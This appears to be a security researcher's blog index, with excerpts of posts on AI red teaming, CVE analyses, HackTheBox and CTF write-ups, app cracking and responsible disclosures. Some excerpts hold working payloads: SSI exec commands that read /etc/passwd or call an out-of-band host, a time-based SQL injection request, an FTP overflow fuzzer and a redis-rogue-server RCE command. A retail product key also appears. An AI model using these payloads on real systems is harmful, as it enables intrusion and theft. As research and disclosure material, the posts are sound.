@Unc1e

You Bought the Hands, Not the Brain: After Analyzing Burp AT, I Built an Open-Source Burp MCP

Wed, 12 Aug 2026 00:20:00 +0800

Burp AT proves that penetration testing can be handed to AI, but it locks the model in the cloud and suffers from approval fatigue in production. I analyzed its protocol, followed the official front door, and built an open-source burp-mcp-server — filling the gaps that make or break a red-team automation loop.

Agents Can Now Take Action—Security Can't Stay in the Conversation: Runtime Design at the Action Boundary

Sun, 02 Aug 2026 10:50:39 +0800

Lately I’ve been doing more and more AI red teaming: half the time thinking about how to attack Agents, and the other half thinking about:

once the attacks are done, what should real-world defense actually look like?

I’ve written a local-first Agent Runtime Guard (ARG) myself, and I’ve also taken apart Microsoft’s newly open-sourced Agent Governance Toolkit (AGT). After taking both apart, the conclusion is actually quite clear:

Agent runtime protection is, in essence, the “firewall” of the LLM era. Whenever I mention “firewall”—a word that has been beaten to death—I want to laugh. Still, this is decidedly not another layer of prompt rhetoric, nor is it old IAM renamed. What it intercepts is the segment where “the model’s intent has already formed, but the side effects haven’t happened yet”—the command hasn’t been exec’d, the keys haven’t been read, the email hasn’t been sent, no HTTP has left the network.

Reverse OpenRouter

Sun, 26 Apr 2026 12:10:14 +0800

Reverse-proxy the OpenRouter AI API through an overseas server to work around regional access restrictions.

Background (SCQA)

S - Situation

Overseas AI services (image generation, chat, etc.) are typically accessed through aggregator platforms like OpenRouter that offer a unified API, compatible with the OpenAI SDK.

C - Complication

These services impose access restrictions on mainland China — if the requesting source IP is identified as originating from within China, service is refused outright.

Stuffing OpenAI's Privacy Filter Model into the Red Team Toolchain

Sat, 25 Apr 2026 11:11:28 +0800

Red team security tooling — rebuilding OpenAI’s Privacy Filter into an HTTP gateway for structured PII

extraction

OpenAI open-sourced a small model called Privacy Filter that can identify PII such as names, emails, phone numbers, and addresses from unstructured text.

I spent one evening turning it into an HTTP gateway service, running on an NVIDIA L20, with dual-process inference peaking at 81 RPS and GPU utilization pushed to 98%.

A Survey of the Security Risks of File Hash Leaks

Wed, 22 Apr 2026 08:18:49 +0800

::::danger A Survey of the Security Risks of File Hash Leaks

I did a dedicated round of research on this question, in both Chinese and English sources. Conclusion first: the answer to “is a file hash leak harmful” is not a simple yes or no — it is highly context-dependent.

::::

If the hash is merely an offline integrity-check value — for example the SHA256SUMS file publicly published on a Linux distribution’s official site — it is usually not a secret. On the contrary, it should be published and signed so users can verify download integrity and authenticity of origin. This is exactly how Fedora’s official verification instructions, Debian’s official image verification instructions, and Ubuntu’s official tutorial are designed.

From "Invalid Invite Code" to Binary Patching: A Tauri Reverse-Engineering Practice

Wed, 18 Mar 2026 22:57:34 +0800

Got my hands on a beta app - Wukong. Opened it up — an invite code input box popped up.

Invite code?

I didn’t manage to get an invite code today…

Most people give up at this point.

My first reaction was: how is this thing implemented?

I didn’t expect this little investigation to burn through my entire Coding Plan Pro quota.

1. Initial Exploration

With a target to crack, the first step is figuring out its architecture.

Android Reverse Engineering: LSPatch, the Root-Free Patch Mode

Wed, 14 Jan 2026 20:31:56 +0800

::::success How do you bundle your Hook module together with the App?

The idea is: use LSPatch to embed the LSPosed framework into the APK, so there is no need to modify the App’s business code — instead,

::::

Embedded Hooks (LSPatch / XPatch) —— the most elegant route

This route best fits your current situation. If you like writing Hooks (Java/Kotlin) but dislike editing Smali (assembly), then this route is a great fit. The idea

Android Reverse Engineering in Practice: Attack and Defense of App State Machines, Seen Through Cracking "Movie Hunter"

Wed, 14 Jan 2026 20:13:43 +0800

LSPosed module: cc-aligned-debugSigned-xxxxQluvnDtXmttQ-.zip

Original app files: DYLS-xxxxX9y9lvWKr5dr-.zip

Ad-free modified version: dyls-3.1.2.0-noAd.zip

Tags: Android reverse engineering, Smali, state machine, logic vulnerability

Preface: When Hooking Meets a “Corpse File”

In red team security testing, we are used to hooking with Frida or Xposed, precisely modifying memory like a surgeon. But recently, while analyzing an app called “Movie Hunter” (电影猎手), I ran into an interesting confrontation. This experience made me rethink: the highest form of cracking is often not fighting the code logic, but reshaping the data source.

Golang Gorilla/sessions Session Forgery Risk Analysis and Reproduction

Wed, 21 May 2025 12:10:24 +0800

A fairly routine testing workflow: the project runs on Go and uses the ubiquitous Gorilla/sessions to manage sessions……

Background

The first thing I noticed was that the cookie could be base64-decoded — and then decoded a second time……

This cookie is a typical encrypted CookieStore session value from gorilla/sessions, matching the format:

<timestamp>|<base64-encoded-session-data>|<MAC>

Where:

Part 1 is a timestamp
Part 2 is the gob-encoded session value, then base64-encoded;
Part 3 is an HMAC-SHA signature used to verify data integrity;
If we know the secret key (for example this project’s hardcoded "changeme"), we can decode/forge/modify the session.

B64-decode it, and we get

Red Team Essential! Frp Anti-Traceability Enhanced Build

Mon, 14 Apr 2025 21:03:41 +0800

frp is a great tool — high performance, stable, and worth using.

However, its configuration file has gone through two format generations (.ini ->.toml), and the options can be somewhat complicated for newcomers.

When project timelines are tight and workloads heavy, you may not have time to figure out what all these options mean in a short period.

Hence this article — written on April 14, 2025; the currently applicable frp version is: https://github.com/fatedier/frp/releases/tag/v0.61.2

[SOC] Traffic Protection Effectiveness: How to Verify Whether Your Internal Network IDS Is Working Properly

Mon, 16 Sep 2024 23:16:22 +0800

::::info http://www.testmyids.com/

::::

To determine whether an internal network intrusion detection system (IDS) is running properly and effectively detecting potential threats in network traffic, you can take a hands-on approach to verify its functionality. A well-known resource frequently used for this kind of testing is

http://www.testmyids.com/

This website is designed for security professionals, aiming to help them assess whether their IDS can accurately identify and raise alerts on potentially malicious activity or non-compliant network requests.

Stable Packet Capture: Intercepting Traffic from Various Devices via a Transparent Proxy (mitmproxy Usage)

Fri, 24 Nov 2023 23:20:13 +0800

Tutorial reference

https://blog.csdn.net/zhuxian1277/article/details/111875951

Use Case

mitmproxy is a powerful man-in-the-middle proxy tool that lets you intercept, view, and modify traffic between clients and servers. Its transparent proxy mode makes mitmproxy extremely useful in specific scenarios, especially when network traffic needs to be analyzed or tested without changing any settings on the target device.

No proxy configuration needed: Unlike Burp Suite, mitmproxy in transparent mode does not require manually setting an HTTP or HTTPS proxy on the target machine. This means the end user or test subject will not notice the proxy’s presence, reducing the chance of human intervention.
Certificate installation: Although no proxy configuration is required in transparent mode, to intercept and decrypt HTTPS traffic you still need to install mitmproxy’s root certificate on the target machine. This is similar to Burp Suite, since both must handle the SSL/TLS handshake to view encrypted traffic.
Via MitmWeb, you can view captured packets locally; in terms of usage it is not much different from Burp.

The Form Is a Honeypot, the PDF Is the Real Target: Bypassing Websites That Pretend You Need to Register

Fri, 03 Nov 2023 12:01:18 +0800

Some things, once you know them, you will never be “fooled” by them a second time.

cheat on me?

I remember the first time I tried to download a whitepaper from a security vendor’s website, and a form popped up: “Please fill in your name, phone number, email, and company name before downloading.”

I did as asked, even going so far as to use a throwaway email address.

[SOC] Defending Against Apereo CAS Deserialization Attacks with Suricata

Tue, 08 Aug 2023 19:33:47 +0800

1. Attack Characteristics of the Vulnerability

The root cause of this vulnerability is the deserialization of untrusted user input, which involves a hardcoded key.

An attacker can leverage deserialization gadgets already present on the target machine to perform malicious operations.

The traffic characteristics of normal versus malicious requests are described below.

A normal login request.

Request

execution length: 1121

Response

Status code: 200

Response length: 7287

Malicious exploitation - no response echo

Request

[CVE-2022-36804] Bitbucket Pre-auth RCE Vulnerability

Tue, 30 Aug 2022 11:17:25 +0800

Critical severity command injection vulnerability - CVE-2022-36804

Official advisory: https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html

Let’s diff 8.3.0 vs 8.3.1, and get familiar with the workflow of diffing jar packages in IDEA along the way:

Analyzing the patch, two suspicious spots were found:

patch#1

found bitbucket/atlassian-bitbucket-8.3.0-x64/app/WEB-INF/lib/nuprocess-2.0.2-atlassian-3.jar!/com/zaxxer/nuprocess/NuProcessBuilder.class

the patch#1 is like:

 this.ensureNoNullCharacters(commands);

A new method ensureNoNullCharacters was added

command.indexOf(0): checks whether the command contains the \u0000 character
If it does, an exception is thrown directly: Commands may not contain null characters — you can add this hint value in your PoC

private void ensureNoNullCharacters(List<String> commands) {
    Iterator var2 = commands.iterator();

    String command;
    do {
        if (!var2.hasNext()) {
            return;
        }

        command = (String)var2.next();
    } while(command.indexOf(0) < 0);

    throw new IllegalArgumentException("Commands may not contain null characters");
}

The full patch is below:

HackTheBox: Tenet Notes

Sun, 06 Mar 2022 23:14:53 +0800

Tenet 10.10.10.223
https://app.hackthebox.com/machines/Tenet/

export ip=10.10.10.223 && export url=http://10.10.10.223:80 && echo ok

Information Gathering

Nmap:

Nmap scan report for 10.10.10.223
  Host is up (1.1s latency).
  Not shown: 65533 closed tcp ports (reset)
  PORT   STATE SERVICE VERSION
  22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey: 
  |   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
  |   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
  |_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
  80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
  | http-methods: 
  |_  Supported Methods: GET POST OPTIONS HEAD
  |_http-title: Apache2 Ubuntu Default Page: It works
  |_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Directory scanning:

A Look at AutoBinding Vulnerabilities in Spring MVC

Thu, 21 Oct 2021 17:35:44 +0800

0x01 BackGround

Spring MVC, the Spring Web model-view-controller (MVC) framework

Software frameworks sometimes allow developers to automatically bind HTTP request parameters into objects, making it easier for developers to build with the framework. Updates to the framework or business implementation can introduce new parameters that, in turn, affect variables or object parameters in the program code that were not meant to be set.

Ruby on Rails, NodeJS, and Spring MVC all have this feature, and it frequently leads to vulnerabilities (it can be understood as property injection),

pwnhub: Internal CTF [Unboxing Together - So_That_Login] Writeup

Thu, 21 Oct 2021 14:06:49 +0800

The Challenge Itself

There was no response echo at all, so I first tried FUZZing with ffuf and Burp:

./ffuf -w /opt/dic/SecLists/Fuzzing/SQLi/Generic-BlindSQLi.fuzzdb.txt -u  http://121.40.89.206:8088/index.php   -d "username=FUZZ&passwd="

Throughout the whole process there were only two kinds of responses (both 200):

1) When a forbidden keyword is detected:

Returns alert('No,way! hacker!');
Content-Length: 42

2) When the input is substituted into the SQL query:

Returns the homepage content
Content-Length: 2175

Here is the SQL fuzzing dictionary as well: https://github.com/H4lo/dictionary/blob/master/sql_fuzz.txt

CVE-2021-41714: Tipask PostAuth LFR

Thu, 23 Sep 2021 12:49:45 +0800

1.Intro

Tipask: Tipask is an open source PHP Question&Answer system developed based on the Laravel framework that is easy to extend and has strong load capacity and stability.
Tipask < 3.5.9, which fails to validate the path parameters entered by the user when downloading attachments, a registered user can download arbitrary files on the Tipask server, such as .env, /etc/passwd, laravel.log and so on, causing information leakage.
This vulnerability is CREDITED to the following entity:

Qi'An Xin Technology Group, Network Security Department, Product-Security Team

(1)Vendor

Official Site: https://www.tipask.com/

pwnhub: [Mid-Autumn Festival] BabyExec writeup

Fri, 17 Sep 2021 14:13:44 +0800

My first submission to pwnhub — I hope to join this excellent community of ours!

1. Prologue: A True MD5 Collision

The challenge:

<?php
error_reporting(0);
highlight_file(__FILE__);

if ((string)$_GET['x'] !== (string)$_GET['y'] && md5($_GET['x']) === md5($_GET['y'])) {
    if(!isset($_GET['shell'])){
        echo "Attack me!";
    } else {
        $shell = $_GET['shell'];
        if(!preg_match("/[a-zA-Z0-9_$@]+/",$shell)){
            eval($shell);
        } else {
            die('No,No,No! Keep it up......'); 
        }
    }
} else {
    die("No, way!");
}

?>

The MD5 check:

Without relying on weak typing, make md5(x) and md5(y) equal while x and y differ — a classic, well-worn topic.

[Responsible Disclosure] Tipask Contains an Authenticated Arbitrary Local File Download Vulnerability

Thu, 16 Sep 2021 15:34:53 +0800

http://tipask/attach/download/attachments-2021-09-4oFjTAjm6142e9d617e23.pdf

                                        attachments-2021-09-4oFjTAjm6142e9d617e23.pdf

E:\Desktop\CodeAudit\v3.5.5\storage\app\ attachments\2021\09



E:\Desktop\CodeAudit\v3.5.5\storage\logs\laravel.log


# 
E:\Desktop\CodeAudit\v3.5.5\storage\app\..-logs-laravel.log

E:\Desktop\CodeAudit\v3.5.5\.env
 
  E:\Desktop\CodeAudit\v3.5.5\storage\app\..-..-.env

The latest version of Tipask contains an “arbitrary local file download” vulnerability. An attacker can craft special input to download arbitrary files on the Tipask server, such as .env, /etc/passwd, laravel.log, etc., leaking important sensitive information from the server. The impact is significant, and roughly 700+ customers on the public internet may be affected.

How to Obtain Source Code During Penetration Testing

Tue, 31 Aug 2021 22:14:19 +0800

Using a recent case, let’s talk about some techniques for obtaining source code in real engagements.

(This is also material from a closed-door sharing session a while back: hope you guys enjoy it~

Liquid Files

Liquid Files is a foreign file-sharing (cloud disk) system; official site: https://www.liquidfiles.com/

It’s a commercial system, widely used abroad.

Today we’ll try to obtain the source code of this system and conduct a preliminary attack-surface assessment (an initial code audit).

[CVE-2013-4730] Studying the PCMan's FTP Server Buffer Overflow Vulnerability

Fri, 27 Aug 2021 00:40:17 +0800

[CVE-2013-4730] PCMan’s FTP Server

Course links: https://www.secpulse.com/archives/116030.html

https://www.aqniukt.com/goods/show/597?targetId=12784&preview=0

Installing Windows XP

Windows XP Home Edition Simplified Chinese retail original CD-KEY:

BQJG2-2MJT7-H7F6K-XW98B-4HQRQ

Basic Steps of the Overflow

1. Trigger the exception

import socket 
import sys

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("pacman",21))

# login BOF
# Confirm the crash caused by bof here
# It crashed at 2000
for i in range(1990, 2050):
	if i % 1 == 0:
		s.send(b"USER: " + "A".encode()*i + "\r\n".encode())
		data = s.recv(1024)
		print(str(i) + ":" + data.decode())

2. Analyze the exception => determine exploitability

We observe that after sending 2000 A’s, the FTP server crashes and the EIP register is overwritten with AAAA (i.e., the 41414141 shown in the screenshot)

Post-Auth SQL injection vulnerability in app/topic/action/admin/topic.php#2 (bypass of CVE-2020-35337)

Fri, 30 Jul 2021 23:28:07 +0800

Vulnerability name: ThinkSAAS latest version app/topic/action/admin/topic.php contains a SQL injection vulnerability (administrator privileges required)

Author: Author of the vuln: Qianxin, Network Security Department, Product-Safety Team ( Unc1e )

This document provides responsible disclosure, aiming to give the open-source code vendor details of the security vulnerability and to facilitate a fix before the vulnerability is exploited in the wild.

0x01 Background

Last December, there was a security issue caused by improper URLDecode. See https://github.com/thinksaas/ThinkSAAS/issues/24

Spring Actuator Unauthenticated Vulnerability Reproduction Notes

Wed, 07 Jul 2021 16:51:03 +0800

0. Background

Actuator endpoints allow you to monitor and interact with your application. Spring Boot includes a number of built-in endpoints, and you can add your own as well. For example, the health endpoint provides basic application health information.

dirsearch supports scanning for Actuator endpoints.

1. Vulnerability Detection

Identifying SpringBoot

/error, There was an unexpected error (type=None, status=999).
/resume, There was an unexpected error (type=Method Not Allowed, status=405).

For Spring 1x, they are registered under /; in 2x, they were moved to the /actuator/ base path.

A Look at the Classic SSI Injection

Fri, 11 Jun 2021 15:26:47 +0800

0x00 Cheat Sheet

The keywords exec and cmd are case-insensitive, so mixed-case combinations can be considered for bypasses

"-->'-->`--><!--#set var="wyk" value="vxjn0kj8s5"--><!--#set var="y0m" value="xzlp2mlau7"--><!--#echo var="wyk"--><!--#echo var="y0m"--><!--#eXEc cMd="nslookup -q=cname vul.ssi.0yuj7c.ceye.io" -->


"-->'-->`--><!--#set var="wyk" value="vxjn0kj8s5"--><!--#set var="y0m" value="xzlp2mlau7"--><!--#echo var="wyk"--><!--#echo var="y0m"--><!--#eXEc cMd="cat /etc/passwd" -->

Common commands

# General PoC
<!--#eXEc cMd="ping -c 4 127.0.0.1|| ping -n 4 127.0.0.1
:" -->


# Linux
<!--#eXEc cMd="cat /etc/passwd" -->
<!--#Exec cmD="ls" -->
<!--#eXEc cMd="sleep 5" -->

# windows
<!--#eXEc cMd="dir" -->

0x01 Concepts

The following is compiled from the Apache httpd tutorial[1]; feel free to skip the gray parts (TL;DR):

【CVE-2016–3714】ImageMagick Command Execution Vulnerability

Sun, 30 May 2021 19:49:44 +0800

0x00 Background

ImageMagick is a package commonly used by web services to process images. Multiple vulnerabilities exist when processing user-submitted images: CVE-2016-3714, CVE-2016-3715, CVE-2016-3716, and CVE-2016-3717. The most severe of these is CVE-2016-3714, which can lead to remote code execution (RCE).

This vulnerability was discovered by Nikolay Ermishkin, a security researcher on the Mail.Ru security team. The ImageMagick development team was notified and pushed out a quick fix, but it turned out to be incomplete.

[CVE-2020-9496] Apache OfBiz Deserialization Command Execution Vulnerability

Tue, 25 May 2021 15:02:21 +0800

0x01 Background

Apache OFBiz is a very well-known e-commerce platform and a very famous open-source project. It provides a framework based on the latest J2EE/XML specifications and technology standards for building large- and medium-sized enterprise-grade, cross-platform, cross-database, cross-application-server, multi-tier, distributed e-commerce WEB application systems. OFBiz’s most notable characteristic is that it provides a complete set of components and tools for developing Java-based web applications, including the entity engine, service engine, message engine, workflow engine, rules engine, and more. By default you can log in with the username admin and the password ofbiz.

HackTheBox: Monitors Notes

Tue, 18 May 2021 23:19:26 +0800

Information Gathering

Nmap

Nmap scan report for Monitors.HTB (10.10.10.238)
Host is up (0.30s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
|   256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_  256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.5.1
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome to Monitor &#8211; Taking hardware monitoring seriously
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

WordPress version 5.5.1 — registration is not allowed

HackTheBox: Ready Notes

Sun, 09 May 2021 01:32:13 +0800

Entry Point

Nmap

http://10.10.10.220:5080/users/sign_in #GitLab Community Edition 11.4.7 (RCE)

How do you get the GitLab version? — According to https://stackoverflow.com/questions/21068773/how-to-check-the-version-of-gitlab, we know that:

Search for it, and there’s an exploit:

https://github.com/ctrlsam/GitLab-11.4.7-RCE/blob/master/exploit.py

Successfully got a shell as the git user

Privilege Escalation

version: '2.4'

services:
  web:
    image: 'gitlab/gitlab-ce:11.4.7-ce.0'
    restart: always
    hostname: 'gitlab.example.com'
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'http://172.19.0.2'
        redis['bind']='127.0.0.1'
        redis['port']=6379
        gitlab_rails['initial_root_password']=File.read('/root_pass')
    networks:
      gitlab:
        ipv4_address: 172.19.0.2
    ports:
      - '5080:80'
      #- '127.0.0.1:5080:80'
      #- '127.0.0.1:50443:443'
      #- '127.0.0.1:5022:22'
    volumes:
      - './srv/gitlab/config:/etc/gitlab'
      - './srv/gitlab/logs:/var/log/gitlab'
      - './srv/gitlab/data:/var/opt/gitlab'
      - './root_pass:/root_pass'
    privileged: true
    restart: unless-stopped
    #mem_limit: 1024m

networks:
  gitlab:
    driver: bridge
    ipam:
      config:
        - subnet: 172.19.0.0/16

Digging further

Attacking GraphQL — Learning GraphQL Security from the DVGA Range

Wed, 28 Apr 2021 17:29:00 +0800

0x00 Background

First, an introduction: what is GraphQL? Just refer to this article

See:https://zhuanlan.zhihu.com/p/124019191、

The client first interacts with GraphQL, which in turn interacts with arbitrary code, and finally ends the conversation with the database. The diagram describing this situation is:

This architectural change brings many advantages, for example:

All the data the client needs can be obtained in a single request (whereas a REST API requires multiple requests)
A single Endpoint (URL) can handle multiple kinds of requests.

Introspection

Introspection allows us to get information about all the Requests, Mutations, Subscriptions, and Data Types and all other things that are made available to the clients making requestsThis information is easily available by requesting ___schema meta-field, which, according to the specification, is always available to the query of the “root” type.

Redis <= 5.0.5 Master-Slave Replication RCE Study Notes

Sat, 20 Mar 2021 18:50:32 +0800

# Redis <= 5.0.5
 python redis-rogue-server.py --rhost [redis] --rport=6379 --lhost [vps] --lport 443

redis-rogue-server_poison.zip

1. Introduction

Setting Up the Environment

Set up the environment with Docker

docker pull damonevking/redis5.0 
docker run -p 6379:6379 -d damonevking/redis5.0 redis-server

Normal Use of the Master-Slave Feature

Redis is an open-source, network-enabled, in-memory, optionally persistent key-value store written in ANSI C. However, when data is stored in a single Redis instance and the read/write volume grows large, the server struggles to keep up. To handle this situation, Redis provides a master-slave mode: one redis instance acts as the master while the other instances all act as backups. The master and slaves hold identical data — slaves only handle reads while the master only handles writes. This read/write separation greatly relieves traffic pressure, and can be considered a mitigation approach that trades space for efficiency.

[CVE-2016-4977] Spring Security OAuth RCE Vulnerability Study

Thu, 18 Mar 2021 14:38:32 +0800

0x01 Background

Spring Security OAuth is a module that provides security authentication support for the Spring framework. On July 5, its maintainers published this upgrade announcement, which mainly explains that when users use Whitelabel views to handle errors, an attacker — once authorized — can remotely execute commands by crafting malicious parameters. The vulnerability’s discoverer publicly released the discovery write-up on October 13.

SpEL expression injection!

(1) Affected versions

org.springframework.security.oauth - spring-security-oauth2:

2.0.0 to 2.0.9
1.0.0 to 1.0.5

I took a look at the maven repository and found that 2.0.X was released in February 2016, which means the vulnerability was discovered roughly half a year after release. From this we can also draw a conclusion: hackers are not watching official releases around the clock — in other words, real-world 0day vulnerabilities can always be found by you.

[Translation] OWASP NodeJS Security

Tue, 09 Feb 2021 11:47:12 +0800

Just read the PDF.

【翻译】OWASP_NodeJS安全.pdf

[Guest Post] Code Audit Notes on an Ops System (Django+MongoDB+Redis)

Fri, 05 Feb 2021 05:14:41 +0800

This post was first published as a contribution to the Alibaba Cloud Xianzhi community: Code Audit Notes on an Ops System (Django+MongoDB+Redis). Please credit the original source when reposting.

I encountered this system during a certain engagement, where I got a shell through a weak password plus command injection in the backend.

Later I found it quite interesting, so I spent a Saturday auditing it — and discovered that under certain conditions it allows direct RCE from the frontend…

[Guest Post] A Practical Java Servlet Audit

Sun, 24 Jan 2021 11:10:37 +0800

This post was first published on the Alibaba Cloud Xianzhi community at A Practical Java Servlet Audit - Xianzhi Community; please cite the original source when reproducing it.

Thanks for reading!

0x00 Background

During a penetration test, I came across a JSP site. After getting into the admin panel with weak credentials, I found it had very few features and was not easy to exploit. A quick check yielded no breakthrough, yet the boss’s requirement was to get a shell as soon as possible…

Spark Unauthorized Access RCE Vulnerability

Tue, 19 Jan 2021 16:28:52 +0800

Spark, this computing framework, supports multiple deployment modes: it can be deployed on a single computer or across multiple machines (a cluster). To compute data, we must have computers doing the computing for us — and of course, the more computers we have (the larger the cluster), the stronger our computing power. But sometimes we just want to run an experiment or a small computation locally, so deploying it on a single machine is also perfectly fine.

Bypassing Regular Expressions in PHP via PCRE Backtracking

Fri, 15 Jan 2021 15:16:34 +0800

Introduction to Regular Expressions

PHP regular expression special characters [:alnum:] [:alpha:] etc.

For example, ‘[[:alnum:]]’ means ‘[0-9A-Za-z]’,

Two very important special characters in regular expressions are "[ ]". They can match characters that appear inside "[]"; for example, "/[az]/" can match the single character "a" or "z"; if you change the above expression to "/[a-z]/", it can match any single lowercase letter, such as "a", "b", and so on.
If a "^" appears inside "[]", it means the expression does NOT match the characters listed inside "[]"; for example, "/[^a-z]/" does not match any lowercase letter! In addition, regular expressions provide several default character classes for "[]", as follows:

# '[:alnum:]' matches any letter
Alphanumeric characters: '[:alpha:]' and '[:digit:]'.

# '[:alpha:]' matches any letter or digit
Alphabetic characters: '[:lower:]' and '[:upper:]'.

# '[:blank:]'
Blank characters: space and tab.

# '[:cntrl:]'
Control characters. In ASCII, these characters have octal codes 000 through 037, and 177 ('DEL'). In other character sets, these are the equivalent characters, if any.

# '[:digit:]' matches any digit
Digits: '0 1 2 3 4 5 6 7 8 9'.

# '[:graph:]'
Graphical characters: '[:alnum:]' and '[:punct:]'.

# '[:lower:]' matches any lowercase letter
Lower-case letters: 'a b c d e f g h i j k l m n o p q r s t u v w
x y z'.

# '[:print:]'
Printable characters: '[:alnum:]', '[:punct:]', and space.

# '[:punct:]' matches any punctuation character
Punctuation characters: '! " # $ % & ' ( ) * + , - . / : ; < = > ? @ [ \ ] ^ _ ' { | } ~'.

# '[:space:]' matches whitespace characters
Space characters: tab, newline, vertical tab, form feed, carriage
return, and space.

# '[:upper:]' matches any uppercase letter
Upper-case letters: 'A B C D E F G H I J K L M N O P Q R S T U V W
X Y Z'.

# '[:xdigit:]' matches any hexadecimal digit
Hexadecimal digits: '0 1 2 3 4 5 6 7 8 9 A B C D E F a b c d e f'.

Background

First, let’s look at a piece of regex that is very common in WAFs,

Code-Breaking Audit Records [7/9]

Fri, 15 Jan 2021 11:41:35 +0800

Address: https://code-breaking.com/intro/

0x08 picklecode

Hard

First, we need to brush up on format string vulnerability knowledge; see https://blog.csdn.net/wenrennaoda/article/details/107224921

There is indeed a format string vulnerability. So the first step is to exploit this bug to leak Django’s SECRET_KEY, which can be found by setting up the environment locally with PHPCharm

Python Web: flask session & format string vulnerability

https://xz.aliyun.com/t/3569

Security issues caused by client-side sessions | LeaveSong

https://www.leavesongs.com/PENETRATION/client-session-security.html

Python format string vulnerability (Django as an example)

Talking About Weak Typing in PHP

Mon, 11 Jan 2021 17:31:01 +0800

A technique commonly seen in PHP code audits: weak typing, known in English as type Juggling. The basic concept is as follows:

Prior to PHP 8, when using == for comparison or in any situation involving weak type conversion, strings are first converted to numbers, and only then compared against the number.

Comparison with `==`

Therefore, when a string is loosely compared against a number (loose comparison), the result is often unexpected. For example, "1 and 1=1" == 1 evaluates to true in PHP.

SSRF Bypass Techniques

Tue, 29 Dec 2020 18:23:11 +0800

This post covers common bypass techniques for SSRF vulnerabilities under various restrictions.

(Image from SSRF Bypass Tricks)

0x00 URL scheme

Part 1: the scheme name (ends with a single colon)
Part 2: user information, i.e. username and password (commonly used when logging into FTP)
Part 3: the host name (i.e. the domain)
Part 4: the port
Part 5: the query content, containing [path+param] — there is a bug here: only the content after the ? should count as the query!
Part 6: Fragment ID (never sent to the server!)

1. Extracting the scheme name:

Flask Debug-Mode PIN Generation Mechanism: Security Reproduction Notes

Sun, 06 Dec 2020 23:45:51 +0800

Enabling debug mode in Flask is equivalent to leaving a backdoor for hackers. This article provides a brief analysis of the security issues that can arise when Flask runs with debug mode enabled in a production network. One of the more severe security issues is that arbitrary Python code can be executed in the interactive Python shell. On this point, in older versions of Flask, no PIN authentication was required to execute code — the harm of this is self-evident.

Thinksaas has a Post-Auth SQL injection vulnerability in app/topic/action/admin/topic.php

Thu, 03 Dec 2020 16:19:30 +0800

Code Audit Notes

A feeble injection in the limit parameter

app/article/action/api/list.php#L28

PoC

While debugging, you can see that the limit parameter has been carried into the query in full — it only seems feeble because mysqli_query cannot execute multi-statement queries…

app\photo\action\admin\options.php

app\topic\action\admin\options.php

http://thinksaas/index.php?app=topic&ts=do&mg=options&ac=admin

SQL injection in the title parameter of app/topic/action/admin/topic.php

PoC

GET /index.php?app=topic&ac=admin&mg=topic&ts=list&title=PoC%%2527+and/**/1-(select/**/1/**/from/**/(select+sleep(3))a)%2523%2520 HTTP/1.1
Host: thinksaas
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4230.1 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://thinksaas/index.php?app=search&ac=s&kw=keyword
Cookie: PHPSESSID=6im4ssqo33h8l2d43u78nbr4c3;  ts_autologin=goh59atl3dsk44o4sws48s80co44ww8
Upgrade-Insecure-Requests: 1

CVE Request info

1. Intro

of this CMS

The repo of ThinksaasS is located at https://github.com/thinksaas/ThinkSAAS , quite a common-used CMS.

SSRF: Principles and Remediation

Mon, 16 Nov 2020 00:03:42 +0800

From the perspective of a security engineer, this post analyzes the causes of SSRF in PHP and how to fix it. Through experiments on a VPS, it introduces the impact and limitations of SSRF vulnerabilities arising from different causes, and closes with an example of secure coding.

cURL Configuration Options

This section documents the relationship between each cURL configuration option and the resulting type of SSRF vulnerability.

CURLOPT_HEADER is 0 in the vast majority of cases; otherwise the HTTP response headers are returned along with the body (see image)

A Hands-On Guide to Building a CTF Range Environment with Docker

Sat, 07 Nov 2020 23:47:08 +0800

Installing Docker

Omitted here — just follow the CentOS Docker installation instructions.

curl -sSL https://get.daocloud.io/docker | sh

Uninstall old versions

sudo yum remove docker \
                 docker-client \
                 docker-client-latest \
                 docker-common \
                 docker-latest \
                 docker-latest-logrotate \
                 docker-logrotate \
                 docker-engine

Note: iptables must be enabled

service iptables restart

Restart docker

service docker restart

Writing the Dockerfile

Finding the base environment

The first line of the Dockerfile is the base environment of your CTF challenge. For example:

Rsync Authentication Analysis Notes (with Brute-Force Script)

Thu, 05 Nov 2020 17:32:03 +0800

I ran into rsync during a penetration test — it was password-protected. Brute-force scripts already existed (for example this one written by cdxy in the POC-T framework), but that script was written in Python 2, so I decided to rewrite it in Python 3 — and along the way I ended up analyzing how rsync authenticates. Here is a brief write-up.

Traffic Analysis

tcpdump -i eth0  net 47.*.*.142  -w access_denied.pcap  -v
            ↑             ↑                          ↑              
            NIC           ip                 path of the file to write

